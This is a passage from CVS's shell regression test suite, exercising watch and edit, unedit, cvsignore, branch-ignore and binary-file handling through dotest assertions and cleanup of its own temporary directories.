watch is off, so existing behavior is preserved).\n\t cd ../..\n\t mkdir 2\n\t cd 2\n\t dotest devcom2-7 \"${testcvs} -q co first-dir\" 'U first-dir/nw1\nU first-dir/w1\nU first-dir/w2\nU first-dir/w3'\n\t dotest devcom2-8 \"test -w first-dir/nw1\" ''\n\t dotest_fail devcom2-9 \"test -w first-dir/w1\" ''\n\t dotest_fail devcom2-10 \"test -w first-dir/w2\" ''\n\t dotest_fail devcom2-11 \"test -w first-dir/w3\" ''\n\n\t cd first-dir\n\t # OK, now we want to try files in various states with cvs edit.\n\t dotest devcom2-12 \"${testcvs} edit w4\" \\\n\"${PROG} edit: no such file w4; ignored\"\n\t # Try the same thing with a per-directory watch set.\n\t dotest devcom2-13 \"${testcvs} watch on\" ''\n\t dotest devcom2-14 \"${testcvs} edit w5\" \\\n\"${PROG} edit: no such file w5; ignored\"\n\t dotest devcom2-15 \"${testcvs} editors\" ''\n\t dotest devcom2-16 \"${testcvs} editors w4\" ''\n\t # Make sure there are no droppings lying around\n\t dotest devcom2-17 \"cat ${CVSROOT_DIRNAME}/first-dir/CVS/fileattr\" \\\n\"Fw1\t_watched=\nFw2\t_watched=\nFw3\t_watched=\nFnw1\t_watched=\nD\t_watched=\"\n\t cd ..\n\n\t # Do a little error testing\n\t dotest devcom2-18 \"${testcvs} -q co -d first+dir first-dir\" \\\n\"U first${PLUS}dir/nw1\nU first${PLUS}dir/w1\nU first${PLUS}dir/w2\nU first${PLUS}dir/w3\"\n\t cd first+dir\n\t dotest_fail devcom2-19 \"${testcvs} edit\" \\\n\"${PROG} \\[[a-z]* aborted\\]: current directory (${TESTDIR}/2/first${PLUS}dir) contains an invalid character (${PLUS},>;=\\\\\\\\t\\\\\\\\n)\"\n\n\t # Make sure there are no droppings lying around\n\t dotest devcom2-20 \"cat ${CVSROOT_DIRNAME}/first-dir/CVS/fileattr\" \\\n\"Fw1\t_watched=\nFw2\t_watched=\nFw3\t_watched=\nFnw1\t_watched=\nD\t_watched=\"\n\n\t cd ../..\n\n\t # Use -f because of the readonly files.\n\t rm -rf 1 2\n\t rm -rf ${CVSROOT_DIRNAME}/first-dir\n\t ;;\n\n\tdevcom3)\n\t # More watch tests, most notably handling of features designed\n\t # for future expansion.\n\t mkdir ${CVSROOT_DIRNAME}/first-dir\n\t mkdir 1\n\t cd 1\n\t dotest devcom3-1 \"${testcvs} -q co first-dir\" ''\n\t cd first-dir\n\n\t touch w1 w2\n\t dotest devcom3-2 \"${testcvs} add w1 w2\" \"${DOTSTAR}\"\n\t dotest devcom3-3 \"${testcvs} watch on w1 w2\" ''\n\t dotest devcom3-4 \"${testcvs} -q ci -m add-them\" \"${DOTSTAR}\"\n\n\t # OK, since we are about to delve into CVS's internals, make\n\t # sure that we seem to be correct about how they work.\n\t dotest devcom3-5 \"cat ${CVSROOT_DIRNAME}/first-dir/CVS/fileattr\" \\\n\"Fw1\t_watched=\nFw2\t_watched=\"\n\t # Now write a few more lines, just as if we were a newer version\n\t # of CVS implementing some new feature.\n\t cat <<'EOF' >>${CVSROOT_DIRNAME}/first-dir/CVS/fileattr\nEnew\tline\there\nG@#$^!@#=&\nEOF\n\t # Now get CVS to write to the fileattr file....\n\t dotest devcom3-6 \"${testcvs} watch off w1\" ''\n\t # ...and make sure that it hasn't clobbered our new lines.\n\t # Note that writing these lines in another order would be OK\n\t # too.\n\t dotest devcom3-7 \"cat ${CVSROOT_DIRNAME}/first-dir/CVS/fileattr\" \\\n\"Fw2\t_watched=\nG@#..!@#=&\nEnew\tline\there\"\n\n\t # See what CVS does when a file name is duplicated. The\n\t # behavior of all versions of CVS since file attributes were\n\t # implemented is that it nukes the duplications. This seems\n\t # reasonable enough, although it means it isn't clear how\n\t # useful duplicates would be for purposes of future\n\t # expansion. But in the interests of keeping behaviors\n\t # predictable, might as well test for it, I guess.\n\t echo 'Fw2\tduplicate=' >>${CVSROOT_DIRNAME}/first-dir/CVS/fileattr\n\t dotest devcom3-8 \"${testcvs} watch on w1\" ''\n\t dotest devcom3-9 \"cat ${CVSROOT_DIRNAME}/first-dir/CVS/fileattr\" \\\n\"Fw2\t_watched=\nFw1\t_watched=\nEnew\tline\there\nG@#..!@#=&\"\n\n\t # Now test disconnected \"cvs edit\" and the format of the \n\t # CVS/Notify file.\n\t if $remote; then\n\t CVS_SERVER_save=${CVS_SERVER}\n\t CVS_SERVER=${TESTDIR}/cvs-none; export CVS_SERVER\n\n\t # The ${DOTSTAR} below matches the exact CVS server error message,\n\t # which in :fork: mode is:\n\t # \"$PROG \\[edit aborted\\]: cannot exec $TESTDIR/cvs-none: ${DOTSTAR}\",\n\t # but which is:\n\t # \"bash2: line 1: $TESTDIR/cvs-none: No such file or directory\"\n\t # when testing across an :ext:/ssh link to my Linux 2.4 box.\n\t #\n\t # I can't even test for the second part of the error message,\n\t # from the client, which varies more consistently, usually either\n\t # \"end of file from server\" (if the process doing the exec exits\n\t # before the parent gets around to sending data to it) or\n\t # \"received broken pipe signal\" (if it is the other way around),\n\t # since HP-UX fails to output it.\n\t dotest_fail devcom3-9ar \"${testcvs} edit w1 2>/dev/null\"\n\t dotest devcom3-9br \"test -w w1\" \"\"\n\t dotest devcom3-9cr \"cat CVS/Notify\" \\\n\"Ew1\t[SMTWF][uoehra][neduit] [JFAMSOND][aepuco][nbrylgptvc] [0-9 ][0-9] [0-9:]* [0-9][0-9][0-9][0-9] GMT\t[-a-zA-Z_.0-9]*\t${TESTDIR}/1/first-dir\tEUC\"\n\t CVS_SERVER=${CVS_SERVER_save}; export CVS_SERVER\n\t dotest devcom3-9dr \"${testcvs} -q update\" \"\"\n\t dotest_fail devcom3-9er \"test -f CVS/Notify\" \"\"\n\t dotest devcom3-9fr \"${testcvs} watchers w1\" \\\n\"w1\t${username}\ttedit\ttunedit\ttcommit\"\n\t dotest devcom3-9gr \"${testcvs} unedit w1\" \"\"\n\t dotest devcom3-9hr \"${testcvs} watchers w1\" \"\"\n\t fi\n\n\t cd ../..\n\t # OK, now change the tab to a space, and see that CVS gives\n\t # a reasonable error (this is database corruption but CVS should\n\t # not lose its mind).\n\t sed -e 's/Fw2\t/Fw2 /' <${CVSROOT_DIRNAME}/first-dir/CVS/fileattr \\\n\t >${CVSROOT_DIRNAME}/first-dir/CVS/fileattr.new\n\t mv ${CVSROOT_DIRNAME}/first-dir/CVS/fileattr.new \\\n\t ${CVSROOT_DIRNAME}/first-dir/CVS/fileattr\n\t mkdir 2; cd 2\n\t dotest_fail devcom3-10 \"${testcvs} -Q co .\" \\\n\"${PROG} \\[checkout aborted\\]: file attribute database corruption: tab missing in ${CVSROOT_DIRNAME}/first-dir/CVS/fileattr\"\n\t cd ..\n\n\t # Use -f because of the readonly files.\n\t rm -rf 1 2\n\t rm -rf ${CVSROOT_DIRNAME}/first-dir\n\t ;;\n\n\twatch4)\n\t # More watch tests, including adding directories.\n\t mkdir 1; cd 1\n\t dotest watch4-0a \"${testcvs} -q co -l .\" ''\n\t mkdir first-dir\n\t dotest watch4-0b \"${testcvs} add first-dir\" \\\n\"Directory ${CVSROOT_DIRNAME}/first-dir added to the repository\"\n\n\t cd first-dir\n\t dotest watch4-1 \"${testcvs} watch on\" ''\n\t # This is just like the 173 test\n\t touch file1\n\t dotest watch4-2 \"${testcvs} add file1\" \\\n\"${PROG} add: scheduling file .file1. for addition\n${PROG} add: use .${PROG} commit. to add this file permanently\"\n\t dotest watch4-3 \"${testcvs} -q ci -m add\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/file1,v\ndone\nChecking in file1;\n${CVSROOT_DIRNAME}/first-dir/file1,v <-- file1\ninitial revision: 1\\.1\ndone\"\n\t # Now test the analogous behavior for directories.\n\t mkdir subdir\n\t dotest watch4-4 \"${testcvs} add subdir\" \\\n\"Directory ${CVSROOT_DIRNAME}/first-dir/subdir added to the repository\"\n\t cd subdir\n\t touch sfile\n\t dotest watch4-5 \"${testcvs} add sfile\" \\\n\"${PROG} add: scheduling file .sfile. for addition\n${PROG} add: use .${PROG} commit. to add this file permanently\"\n\t dotest watch4-6 \"${testcvs} -q ci -m add\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/subdir/sfile,v\ndone\nChecking in sfile;\n${CVSROOT_DIRNAME}/first-dir/subdir/sfile,v <-- sfile\ninitial revision: 1\\.1\ndone\"\n\t cd ../../..\n\t mkdir 2; cd 2\n\t dotest watch4-7 \"${testcvs} -q co first-dir\" \"U first-dir/file1\nU first-dir/subdir/sfile\"\n\t dotest_fail watch4-8 \"test -w first-dir/file1\" ''\n\t dotest_fail watch4-9 \"test -w first-dir/subdir/sfile\" ''\n\t cd first-dir\n\t dotest watch4-10 \"${testcvs} edit file1\" ''\n\t echo 'edited in 2' >file1\n\t cd ../..\n\n\t cd 1/first-dir\n\t dotest watch4-11 \"${testcvs} edit file1\" ''\n\t echo 'edited in 1' >file1\n\t dotest watch4-12 \"${testcvs} -q ci -m edit-in-1\" \\\n\"Checking in file1;\n${CVSROOT_DIRNAME}/first-dir/file1,v <-- file1\nnew revision: 1\\.2; previous revision: 1\\.1\ndone\"\n\t cd ../..\n\t cd 2/first-dir\n\t dotest watch4-13 \"${testcvs} -q update\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/file1,v\nretrieving revision 1\\.1\nretrieving revision 1\\.2\nMerging differences between 1\\.1 and 1\\.2 into file1\nrcsmerge: warning: conflicts during merge\n${PROG} update: conflicts found in file1\nC file1\"\n\t if (echo yes | ${testcvs} unedit file1) >>${LOGFILE}; then\n\t pass watch4-14\n\t else\n\t fail watch4-15\n\t fi\n\t # This could plausibly be defined to either go back to the revision\n\t # which was cvs edit'd (the status quo), or back to revision 1.2\n\t # (that is, the merge could update CVS/Base/file1). We pick the\n\t # former because it is easier to implement, not because we have\n\t # thought much about which is better.\n\t dotest watch4-16 \"cat file1\" ''\n\t # Make sure CVS really thinks we are at 1.1.\n\t dotest watch4-17 \"${testcvs} -q update\" \"U file1\"\n\t dotest watch4-18 \"cat file1\" \"edited in 1\"\n\t cd ../..\n\n\t # As a sanity check, make sure we are in the right place.\n\t dotest watch4-cleanup-1 \"test -d 1\" ''\n\t dotest watch4-cleanup-1 \"test -d 2\" ''\n\t # Specify -f because of the readonly files.\n\t rm -rf 1 2\n\t rm -rf ${CVSROOT_DIRNAME}/first-dir\n\t ;;\n\n\twatch5)\n\t # This test was designed to catch a problem in server\n\t # mode where an 'cvs edit'd file disappeared from the\n\t # CVS/Base directory when 'cvs status' or 'cvs update'\n\t # was called on the file after the file was touched.\n\t #\n\t # This test is still here to prevent the bug from\n\t # being reintroduced.\n\t #\n\t # The rationale for having CVS/Base stay around is that\n\t # CVS/Base should be there if \"cvs edit\" has been run (this\n\t # may be helpful as a \"cvs editors\" analogue, it is\n\t # client-side and based on working directory not username;\n\t # but more importantly, it isn't clear why a \"cvs status\"\n\t # would act like an unedit, and even if it does, it would\n\t # need to make the file read-only again).\n\n\t mkdir watch5; cd watch5\n\t dotest watch5-0a \"${testcvs} -q co -l .\" ''\n\t mkdir first-dir\n\t dotest watch5-0b \"${testcvs} add first-dir\" \\\n\"Directory ${CVSROOT_DIRNAME}/first-dir added to the repository\"\n\n\t cd first-dir\n\t dotest watch5-1 \"${testcvs} watch on\" ''\n\t # This is just like the 173 test\n\t touch file1\n\t dotest watch5-2 \"${testcvs} add file1\" \\\n\"${PROG} add: scheduling file .file1. for addition\n${PROG} add: use .${PROG} commit. to add this file permanently\"\n\t dotest watch5-3 \"${testcvs} -q ci -m add\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/file1,v\ndone\nChecking in file1;\n${CVSROOT_DIRNAME}/first-dir/file1,v <-- file1\ninitial revision: 1\\.1\ndone\"\n\t dotest watch5-4 \"${testcvs} edit file1\" ''\n\t dotest watch5-5 \"test -f CVS/Base/file1\" ''\n\t if ${testcvs} status file1 >>${LOGFILE} 2>&1; then\n\t\tpass watch5-6\n\t else\n\t\tfail watch5-6\n\t fi\n\t dotest watch5-7 \"test -f CVS/Base/file1\" ''\n\n\t # Here's where the file used to dissappear\n\t touch file1\n\t if ${testcvs} status file1 >>${LOGFILE} 2>&1; then\n\t\tpass watch5-8\n\t else\n\t\tfail watch5-8\n\t fi\n\t dotest watch5-10 \"test -f CVS/Base/file1\" ''\n\n\t # Make sure update won't remove the file either\n\t touch file1\n\t dotest watch5-11 \"${testcvs} -q up\" ''\n\t dotest watch5-12 \"test -f CVS/Base/file1\" ''\n\n\t cd ../..\n\t rm -r watch5\n\t rm -rf ${CVSROOT_DIRNAME}/first-dir\n\t ;;\n\n\n\n\twatch6)\n\t # Check that `cvs watch on' does not reset the fileattr file.\n\t mkdir watch6; cd watch6\n\n\t dotest watch6-setup-1 \"$testcvs -Q co -ldtop .\"\n\t cd top\n\t mkdir watch6\n\t dotest watch6-setup-2 \"$testcvs -Q add watch6\"\n\n\t cd ..\n\t dotest watch6-setup-3 \"$testcvs -Q co watch6\"\n\t cd watch6\n\n\t mkdir subdir\n\t dotest watch6-setup-4 \"$testcvs -Q add subdir\"\n\t cd subdir\n\n\t # START watch add/remove sequence\n\t dotest watch6-1 \"$testcvs -Q watch add\"\n\t dotest watch6-2 \\\n\"grep '_watchers' $CVSROOT_DIRNAME/watch6/subdir/CVS/fileattr >/dev/null\"\n\n\t dotest watch6-3 \"$testcvs watch on\"\n\t dotest watch6-4 \\\n\"grep '_watchers' $CVSROOT_DIRNAME/watch6/subdir/CVS/fileattr >/dev/null\"\n\t dotest watch6-5 \\\n\"grep '_watched' $CVSROOT_DIRNAME/watch6/subdir/CVS/fileattr >/dev/null\"\n\n\t dotest watch6-6 \"$testcvs watch off\"\n\t dotest watch6-7 \\\n\"grep '_watchers' $CVSROOT_DIRNAME/watch6/subdir/CVS/fileattr >/dev/null\"\n\t dotest_fail watch6-8 \\\n\"grep '_watched' $CVSROOT_DIRNAME/watch6/subdir/CVS/fileattr >/dev/null\"\n\n\t dotest watch6-9 \"$testcvs watch remove\"\n\t dotest_fail watch6-10 \\\n\"test -d $CVSROOT_DIRNAME/test-directory/subdir/CVS\"\n\t dotest_fail watch6-11 \\\n\"test -f $CVSROOT_DIRNAME/test-directory/subdir/CVS/fileattr\"\n\t # END watch add/remove sequence\n\n\t echo Hi there >afile\n\t dotest watch6-12 \"$testcvs -Q add afile\"\n\t dotest watch6-13 \"$testcvs ci -m 'A file' afile\" \\\n\"RCS file: $CVSROOT_DIRNAME/watch6/subdir/afile,v\ndone\nChecking in afile;\n$CVSROOT_DIRNAME/watch6/subdir/afile,v <-- afile\ninitial revision: 1\\.1\ndone\"\n\n\t # START watch add/remove sequence\n\t dotest watch6-14 \"$testcvs -Q watch add\"\n\t dotest watch6-15 \\\n\"grep '_watchers' $CVSROOT_DIRNAME/watch6/subdir/CVS/fileattr >/dev/null\"\n\n\t dotest watch6-16 \"$testcvs watch on\"\n\t dotest watch6-17 \\\n\"grep '_watchers' $CVSROOT_DIRNAME/watch6/subdir/CVS/fileattr >/dev/null\"\n\t dotest watch6-18 \\\n\"grep '_watched' $CVSROOT_DIRNAME/watch6/subdir/CVS/fileattr >/dev/null\"\n\n\t dotest watch6-19 \"$testcvs watch off\"\n\t dotest watch6-20 \\\n\"grep '_watchers' $CVSROOT_DIRNAME/watch6/subdir/CVS/fileattr >/dev/null\"\n\t dotest_fail watch6-21 \\\n\"grep '_watched' $CVSROOT_DIRNAME/watch6/subdir/CVS/fileattr >/dev/null\"\n\n\t dotest watch6-22 \"$testcvs watch remove\"\n\t dotest_fail watch6-23 \\\n\"test -d $CVSROOT_DIRNAME/test-directory/subdir/CVS\"\n\t dotest_fail watch6-24 \\\n\"test -f $CVSROOT_DIRNAME/test-directory/subdir/CVS/fileattr\"\n\t # END watch add/remove sequence\n\n\t if $keep; then\n\t echo Keeping $TESTDIR and exiting due to --keep\n\t exit 0\n\t fi\n\t cd ../../..\n\t rm -r watch6\n\t rm -rf $CVSROOT_DIRNAME/watch6\n\t ;;\n\n\n\n\tunedit-without-baserev)\n\t mkdir 1; cd 1\n\t module=x\n\n\t file=m\n\t echo foo > $file\n\t dotest unedit-without-baserev-1 \\\n\t \"$testcvs -Q import -m . $module X Y\" ''\n\t dotest unedit-without-baserev-2 \"$testcvs -Q co $module\" ''\n\t cd $module\n\n\t dotest unedit-without-baserev-3 \"$testcvs -Q edit $file\" ''\n\n\t echo add a line >> $file\n\t rm -f CVS/Baserev\n\n\t # This will fail on most systems.\n\t echo \"yes\" | dotest unedit-without-baserev-4 \"${testcvs} -Q unedit $file\" \\\n\"m has been modified; revert changes${QUESTION} ${PROG} unedit: m not mentioned in CVS/Baserev\n${PROG} unedit: run update to complete the unedit\"\n\n\t # SunOS4.1.4 systems make it this far, but with a corrupted\n\t # CVS/Entries file. Demonstrate the corruption!\n\t dotest unedit-without-baserev-5 \"cat CVS/Entries\" \\\n\t \"/$file/1\\.1\\.1\\.1/${DOTSTAR}\"\n\n\t dotest unedit-without-baserev-6 \"${testcvs} -q update\" \\\n\"${PROG} update: warning: m was lost\nU m\"\n\n\t # OK, those were the easy cases. Now tackle the hard one\n\t # (the reason that CVS/Baserev was invented rather than just\n\t # getting the revision from CVS/Entries). This is very\n\t # similar to watch4-10 through watch4-18 but with Baserev\n\t # missing.\n\t cd ../..\n\t mkdir 2; cd 2\n\t dotest unedit-without-baserev-7 \"${testcvs} -Q co x\" ''\n\t cd x\n\n\t dotest unedit-without-baserev-10 \"${testcvs} edit m\" ''\n\t echo 'edited in 2' >m\n\t cd ../..\n\n\t cd 1/x\n\t dotest unedit-without-baserev-11 \"${testcvs} edit m\" ''\n\t echo 'edited in 1' >m\n\t dotest unedit-without-baserev-12 \"${testcvs} -q ci -m edit-in-1\" \\\n\"Checking in m;\n${CVSROOT_DIRNAME}/x/m,v <-- m\nnew revision: 1\\.2; previous revision: 1\\.1\ndone\"\n\t cd ../..\n\t cd 2/x\n\t dotest unedit-without-baserev-13 \"${testcvs} -q update\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/x/m,v\nretrieving revision 1\\.1\\.1\\.1\nretrieving revision 1\\.2\nMerging differences between 1\\.1\\.1\\.1 and 1\\.2 into m\nrcsmerge: warning: conflicts during merge\n${PROG} update: conflicts found in m\nC m\"\n\t rm CVS/Baserev\n\t dotest unedit-without-baserev-14 \"echo yes | ${testcvs} unedit m\" \\\n\"m has been modified; revert changes${QUESTION} ${PROG} unedit: m not mentioned in CVS/Baserev\n${PROG} unedit: run update to complete the unedit\"\n\t dotest unedit-without-baserev-15 \"${testcvs} -q update\" \\\n\"${PROG} update: warning: m was lost\nU m\"\n\t # The following tests are kind of degenerate compared with\n\t # watch4-16 through watch4-18 but might as well make sure that\n\t # nothing seriously wrong has happened to the working directory.\n\t dotest unedit-without-baserev-16 \"cat m\" 'edited in 1'\n\t # Make sure CVS really thinks we are at 1.2.\n\t dotest unedit-without-baserev-17 \"${testcvs} -q update\" \"\"\n\t dotest unedit-without-baserev-18 \"cat m\" \"edited in 1\"\n\n\t cd ../..\n\t rm -rf 1\n\t rm -r 2\n\t rm -rf ${CVSROOT_DIRNAME}/$module\n\t ;;\n\n\tignore)\n\t # On Windows, we can't check out CVSROOT, because the case\n\t # insensitivity means that this conflicts with cvsroot.\n\t mkdir ignore\n\t cd ignore\n\n\t dotest ignore-1 \"${testcvs} -q co CVSROOT\" \"U CVSROOT/${DOTSTAR}\"\n\t cd CVSROOT\n\t echo rootig.c >cvsignore\n\t dotest ignore-2 \"${testcvs} add cvsignore\" \\\n\"${PROG}\"' add: scheduling file `cvsignore'\"'\"' for addition\n'\"${PROG}\"' add: use .'\"${PROG}\"' commit. to add this file permanently'\n\n\t # As of Jan 96, local CVS prints \"Examining .\" and remote doesn't.\n\t # Accept either.\n\t dotest ignore-3 \" ${testcvs} ci -m added\" \\\n\"${PROG} [a-z]*: Examining \\.\nRCS file: ${CVSROOT_DIRNAME}/CVSROOT/cvsignore,v\ndone\nChecking in cvsignore;\n${CVSROOT_DIRNAME}/CVSROOT/cvsignore,v <-- cvsignore\ninitial revision: 1\\.1\ndone\n${PROG} commit: Rebuilding administrative file database\"\n\n\t cd ..\n\t if echo \"yes\" | ${testcvs} release -d CVSROOT >>${LOGFILE} ; then\n\t pass ignore-4\n\t else\n\t fail ignore-4\n\t fi\n\n\t # CVS looks at the home dir from getpwuid, not HOME (is that correct\n\t # behavior?), so this is hard to test and we won't try.\n\t # echo foobar.c >${HOME}/.cvsignore\n\t CVSIGNORE=envig.c; export CVSIGNORE\n\t mkdir dir-to-import\n\t cd dir-to-import\n\t touch foobar.c bar.c rootig.c defig.o envig.c optig.c\n\t # We use sort because we can't predict the order in which\n\t # the files will be listed.\n\t dotest_sort ignore-5 \"${testcvs} import -m m -I optig.c ignore/first-dir tag1 tag2\" \\\n'\n\nI ignore/first-dir/defig.o\nI ignore/first-dir/envig.c\nI ignore/first-dir/optig.c\nI ignore/first-dir/rootig.c\nN ignore/first-dir/bar.c\nN ignore/first-dir/foobar.c\nNo conflicts created by this import'\n\t dotest_sort ignore-6 \"${testcvs} import -m m -I ! ignore/second-dir tag3 tag4\" \\\n'\n\nN ignore/second-dir/bar.c\nN ignore/second-dir/defig.o\nN ignore/second-dir/envig.c\nN ignore/second-dir/foobar.c\nN ignore/second-dir/optig.c\nN ignore/second-dir/rootig.c\nNo conflicts created by this import'\n\t cd ..\n\t rm -r dir-to-import\n\n\t mkdir 1\n\t cd 1\n\t dotest ignore-7 \"${testcvs} -q co -dsecond-dir ignore/second-dir\" \\\n'U second-dir/bar.c\nU second-dir/defig.o\nU second-dir/envig.c\nU second-dir/foobar.c\nU second-dir/optig.c\nU second-dir/rootig.c'\n\t dotest ignore-8 \"${testcvs} -q co -dfirst-dir ignore/first-dir\" 'U first-dir/bar.c\nU first-dir/foobar.c'\n\t cd first-dir\n\t touch rootig.c defig.o envig.c optig.c notig.c\n\t dotest ignore-9 \"${testcvs} -q update -I optig.c\" \"${QUESTION} notig.c\"\n\t # The fact that CVS requires us to specify -I CVS here strikes me\n\t # as a bug.\n\t dotest_sort ignore-10 \"${testcvs} -q update -I ! -I CVS\" \\\n\"${QUESTION} defig.o\n${QUESTION} envig.c\n${QUESTION} notig.c\n${QUESTION} optig.c\n${QUESTION} rootig.c\"\n\n\t # Now test that commands other than update also print \"? notig.c\"\n\t # where appropriate. Only test this for remote, because local\n\t # CVS only prints it on update.\n\t rm optig.c\n\t if $remote; then\n\t dotest ignore-11r \"${testcvs} -q diff\" \"${QUESTION} notig.c\"\n\n\t # Force the server to be contacted. Ugh. Having CVS\n\t # contact the server for the sole purpose of checking\n\t # the CVSROOT/cvsignore file does not seem like such a\n\t # good idea, so I imagine this will continue to be\n\t # necessary. Oh well, at least we test CVS's ablity to\n\t # handle a file with a modified timestamp but unmodified\n\t # contents.\n\t touch bar.c\n\n\t dotest ignore-11r \"${testcvs} -q ci -m commit-it\" \"${QUESTION} notig.c\"\n\t fi\n\n\t # now test .cvsignore files\n\t cd ..\n\t echo notig.c >first-dir/.cvsignore\n\t echo foobar.c >second-dir/.cvsignore\n\t touch first-dir/notig.c second-dir/notig.c second-dir/foobar.c\n\t dotest_sort ignore-12 \"${testcvs} -qn update\" \\\n\"${QUESTION} first-dir/.cvsignore\n${QUESTION} second-dir/.cvsignore\n${QUESTION} second-dir/notig.c\"\n\t dotest_sort ignore-13 \"${testcvs} -qn update -I! -I CVS\" \\\n\"${QUESTION} first-dir/.cvsignore\n${QUESTION} first-dir/defig.o\n${QUESTION} first-dir/envig.c\n${QUESTION} first-dir/rootig.c\n${QUESTION} second-dir/.cvsignore\n${QUESTION} second-dir/notig.c\"\n\n\t echo yes | dotest ignore-14 \"${testcvs} release -d first-dir\" \\\n\"${QUESTION} \\.cvsignore\nYou have \\[0\\] altered files in this repository.\nAre you sure you want to release (and delete) directory .first-dir': \"\n\n\t echo add a line >>second-dir/foobar.c\n\t rm second-dir/notig.c second-dir/.cvsignore\n\t echo yes | dotest ignore-15 \"${testcvs} release -d second-dir\" \\\n\"M foobar.c\nYou have \\[1\\] altered files in this repository.\nAre you sure you want to release (and delete) directory .second-dir': \"\n\n\t cd ../..\n\t if $keep; then :; else\n\t rm -r ignore\n\t rm -rf ${CVSROOT_DIRNAME}/ignore\n\t fi\n\t ;;\n\n\tignore-on-branch)\n\t # Test that CVS _doesn't_ ignore files on branches because they were\n\t # added to the trunk.\n\t mkdir ignore-on-branch; cd ignore-on-branch\n\t mkdir $CVSROOT_DIRNAME/ignore-on-branch\n\n\t # create file1 & file2 on trunk\n\t dotest ignore-on-branch-setup-1 \"$testcvs -q co -dsetup ignore-on-branch\" ''\n\t cd setup\n\t echo file1 >file1 \n\t dotest ignore-on-branch-setup-2 \"$testcvs -q add file1\" \\\n\"${PROG} add: use .${PROG} commit. to add this file permanently\"\n\t dotest ignore-on-branch-setup-3 \"$testcvs -q ci -mfile1 file1\" \\\n\"RCS file: $CVSROOT_DIRNAME/ignore-on-branch/file1,v\ndone\nChecking in file1;\n$CVSROOT_DIRNAME/ignore-on-branch/file1,v <-- file1\ninitial revision: 1\\.1\ndone\"\n\t dotest ignore-on-branch-setup-4 \"$testcvs -q tag -b branch\" 'T file1'\n\t echo file2 >file2 \n\t dotest ignore-on-branch-setup-5 \"$testcvs -q add file2\" \\\n\"${PROG} add: use .${PROG} commit. to add this file permanently\"\n\t dotest ignore-on-branch-setup-6 \"$testcvs -q ci -mtrunk file2\" \\\n\"RCS file: $CVSROOT_DIRNAME/ignore-on-branch/file2,v\ndone\nChecking in file2;\n$CVSROOT_DIRNAME/ignore-on-branch/file2,v <-- file2\ninitial revision: 1\\.1\ndone\"\n\n\t cd ..\n\n\t # Check out branch.\n\t #\n\t # - This was the original failure case - file2 would not be flagged\n\t # with a '?'\n\t dotest ignore-on-branch-1 \"$testcvs -q co -rbranch ignore-on-branch\" \\\n'U ignore-on-branch/file1'\n\t cd ignore-on-branch\n\t echo file2 on branch >file2 \n\t dotest ignore-on-branch-2 \"$testcvs -nq update\" '? file2'\n\n\t # Now set up for a join. One of the original fixes for this would\n\t # print out a 'U' and a '?' during a join which added a file.\n\t if $remote; then\n\t dotest ignore-on-branch-3 \"$testcvs -q tag -b branch2\" \\\n'? file2\nT file1'\n\t else\n\t dotest ignore-on-branch-3 \"$testcvs -q tag -b branch2\" 'T file1'\n\t fi\n\t dotest ignore-on-branch-4 \"$testcvs -q add file2\" \\\n\"${PROG} add: use .${PROG} commit. to add this file permanently\"\n\t dotest ignore-on-branch-5 \"$testcvs -q ci -mbranch file2\" \\\n\"Checking in file2;\n$CVSROOT_DIRNAME/ignore-on-branch/file2,v <-- file2\nnew revision: 1\\.1\\.2\\.2; previous revision: 1\\.1\\.2\\.1\ndone\"\n\t dotest ignore-on-branch-6 \"$testcvs -q up -rbranch2\" \\\n\"[UP] file1\n$PROG update: file2 is no longer in the repository\"\n\t dotest ignore-on-branch-7 \"$testcvs -q up -jbranch\" 'U file2'\n\n\t cd ../..\n\t if $keep; then :; else\n\t rm -r ignore-on-branch\n\t rm -rf $CVSROOT_DIRNAME/ignore-on-branch\n\t fi\n\t ;;\n\n\tbinfiles)\n\t # Test cvs's ability to handle binary files.\n\t # List of binary file tests:\n\t # * conflicts, \"cvs admin\": binfiles\n\t # * branching and joining: binfiles2\n\t # * adding and removing files: binfiles3\n\t # * -k wrappers: binwrap, binwrap2, binwrap3\n\t # * \"cvs import\" and wrappers: binwrap, binwrap2, binwrap3\n\t # * -k option to \"cvs import\": none yet, as far as I know.\n\t mkdir ${CVSROOT_DIRNAME}/first-dir\n\t mkdir 1; cd 1\n\t dotest binfiles-1 \"${testcvs} -q co first-dir\" ''\n\t ${AWK} 'BEGIN { printf \"%c%c%c@%c%c\", 2, 10, 137, 13, 10 }' \\\n\t binfile.dat\n\t cat binfile.dat binfile.dat >binfile2.dat\n\t cd first-dir\n\t cp ../binfile.dat binfile\n\t dotest binfiles-2 \"${testcvs} add -kb binfile\" \\\n\"${PROG}\"' add: scheduling file `binfile'\\'' for addition\n'\"${PROG}\"' add: use .'\"${PROG}\"' commit. to add this file permanently'\n\t dotest binfiles-3 \"${testcvs} -q ci -m add-it\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/binfile,v\ndone\nChecking in binfile;\n${CVSROOT_DIRNAME}/first-dir/binfile,v <-- binfile\ninitial revision: 1\\.1\ndone\"\n\t cd ../..\n\t mkdir 2; cd 2\n\t dotest binfiles-4 \"${testcvs} -q co first-dir\" 'U first-dir/binfile'\n\t cd first-dir\n\t dotest binfiles-5 \"cmp ../../1/binfile.dat binfile\" ''\n\t # Testing that sticky options is -kb is the closest thing we have\n\t # to testing that binary files work right on non-unix machines\n\t # (until there is automated testing for such machines, of course).\n\t dotest binfiles-5.5 \"${testcvs} status binfile\" \\\n\"===================================================================\nFile: binfile \tStatus: Up-to-date\n\n Working revision:\t1\\.1.*\n Repository revision:\t1\\.1\t${CVSROOT_DIRNAME}/first-dir/binfile,v\n Sticky Tag:\t\t(none)\n Sticky Date:\t\t(none)\n Sticky Options:\t-kb\"\n\n\t # Test that \"-kk\" does not override \"-kb\"\n\t cd ../..\n\t mkdir 2a; cd 2a\n\t dotest binfiles-5.5a0 \"${testcvs} -q co -kk first-dir\" 'U first-dir/binfile'\n\t cd first-dir\n\t # Testing that sticky options is -kb is the closest thing we have\n\t # to testing that binary files work right on non-unix machines\n\t # (until there is automated testing for such machines, of course).\n\t dotest binfiles-5.5a1 \"${testcvs} status binfile\" \\\n\"===================================================================\nFile: binfile \tStatus: Up-to-date\n\n Working revision:\t1\\.1.*\n Repository revision:\t1\\.1\t${CVSROOT_DIRNAME}/first-dir/binfile,v\n Sticky Tag:\t\t(none)\n 